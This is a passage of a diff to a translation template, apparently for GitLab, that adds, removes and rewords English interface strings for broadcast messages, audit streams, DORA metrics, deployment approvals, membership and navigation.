msgstr ""
@@ -5364,6 +5403,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5923,6 +5965,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5938,12 +5983,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7523,9 +7574,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -8124,6 +8259,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8235,13 +8373,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8528,6 +8663,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8687,12 +8825,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8876,6 +9008,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -9003,6 +9138,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -9105,12 +9243,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9778,21 +9922,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10283,6 +10412,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11180,6 +11312,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11573,6 +11708,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12471,6 +12609,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12495,6 +12636,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12507,7 +12651,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12528,6 +12675,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12549,6 +12702,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12567,6 +12726,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12588,6 +12756,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12597,6 +12771,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12612,9 +12789,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13534,11 +13708,12 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13609,6 +13784,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13996,9 +14174,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -14014,6 +14198,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -14099,6 +14289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14370,7 +14566,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14595,6 +14791,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -15094,6 +15293,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16291,10 +16493,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16303,9 +16502,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16805,9 +17001,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16841,9 +17034,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -17167,9 +17357,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17597,9 +17784,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17918,16 +18102,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -18027,6 +18208,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18689,9 +18873,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -19107,6 +19288,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -19119,6 +19303,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -19143,6 +19333,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -19161,6 +19354,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -19173,9 +19369,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19500,6 +19702,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19662,7 +19870,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -20145,9 +20353,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20202,6 +20416,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20211,6 +20428,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20220,6 +20443,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20337,6 +20563,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20656,6 +20885,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -21070,9 +21305,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -21094,6 +21326,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21318,12 +21553,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22384,7 +22631,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22448,9 +22695,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22601,6 +22857,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23805,6 +24064,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23853,6 +24115,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23997,9 +24262,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24315,9 +24577,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24482,9 +24741,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24617,6 +24873,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24686,9 +24945,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25454,6 +25710,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25469,9 +25728,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25571,6 +25827,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25640,9 +25899,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25655,9 +25911,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25997,6 +26250,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -26038,6 +26294,9 @@ msgstr[3] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -26047,6 +26306,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -26068,10 +26342,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -26080,9 +26354,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -26110,6 +26390,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -26137,6 +26420,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26422,10 +26711,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26485,6 +26777,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26916,6 +27211,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27312,6 +27613,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27336,6 +27640,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27345,6 +27652,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27370,24 +27680,36 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27481,6 +27803,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27611,9 +27954,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27929,9 +28269,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -28110,6 +28447,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
